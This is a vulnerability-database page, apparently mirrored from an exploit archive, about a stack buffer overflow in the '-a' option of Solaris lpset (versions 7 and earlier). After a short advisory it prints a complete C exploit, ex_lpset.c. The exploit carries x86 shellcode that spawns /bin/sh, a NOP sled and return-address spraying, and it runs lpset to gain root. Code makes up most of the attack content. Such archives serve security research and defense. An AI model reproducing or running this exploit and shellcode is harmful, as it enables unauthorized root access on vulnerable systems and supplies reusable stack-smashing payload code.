Lucene search
K

Sun Solaris <= 7.0 lpset Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Sun Solaris lpset Buffer Overflow Vulnerability allowing root privilege executio

Code

                                                source: http://www.securityfocus.com/bid/251/info

A stack buffer overflow vulnerability in the handling of the &#34;-a&#34; command in the lpset program allows arbitrary execution of code with root privileges.

The lpset utility sets printing configuration information in the system configuration databases. lpset can be used to create and update printing configuration in /etc/printers.conf or Federated Naming System (FNS). Only a superuser or a member of Group 14 may execute lpset.

There has been mixed results as to whether the applications exits with the message &#34;Permission denied: not in group 14.&#34; before the overflow can be exploited, and thus the vulnerability can only be exploited by members of group 14.

/*===================================================================
   ex_lpset.c Overflow Exploits( for Intel Edition )
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN ([email protected])
 =====================================================================
*/
#define OFFSET      0x3b88
#define STARTADR    700
#define ENDADR      1200
#define EX_STADR    8000
#define BUFSIZE     22000
#define NOP 0x90

unsigned long ret_adr;
int i,adjust;

char exploit_code[] =
&#34;\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0&#34;
&#34;\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff\x55&#34;

&#34;\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33\xc0&#34;
&#34;\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e&#34;
&#34;\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3&#34;
&#34;\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46\x08&#34;
&#34;\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01\xe8&#34;
&#34;\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh&#34;;

unsigned long get_sp(void)
{
  __asm__(&#34; movl %esp,%eax &#34;);
}

static char   x[BUFSIZE];

main(int argc, char **argv)
{
        memset(x,NOP,18000);
        ret_adr=get_sp()-OFFSET;
        printf(&#34;0 : x86 Solaris2.6 J\n1 : ?\n2 : ?\n3 : x86 Solaris 7 J\n&#34;);
        printf(&#34;Input (0-3) : &#34;); scanf(&#34;%d&#34;,&adjust);
        printf(&#34;Jumping Address = 0x%lx\n&#34;,ret_adr);
        for (i = adjust+STARTADR; i&#60;ENDADR ; i+=4){
                x[i+2]=ret_adr & 0xff;
                x[i+3]=(ret_adr &#62;&#62; 8 ) &0xff;
                x[i+0]=(ret_adr &#62;&#62; 16 ) &0xff;
                x[i+1]=(ret_adr &#62;&#62; 24 ) &0xff;
        }
        for (i=0;i&#60;strlen(exploit_code);i++)
                x[i+EX_STADR]=exploit_code[i];
        x[5000]=&#39;=&#39;;
        x[18000]=0;
        execl(&#34;/usr/bin/lpset&#34;,&#34;lpset&#34;,&#34;-n&#34;,&#34;xfn&#34;,&#34;-a&#34;,x,&#34;lpcol1&#34;,(char *) 0);
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation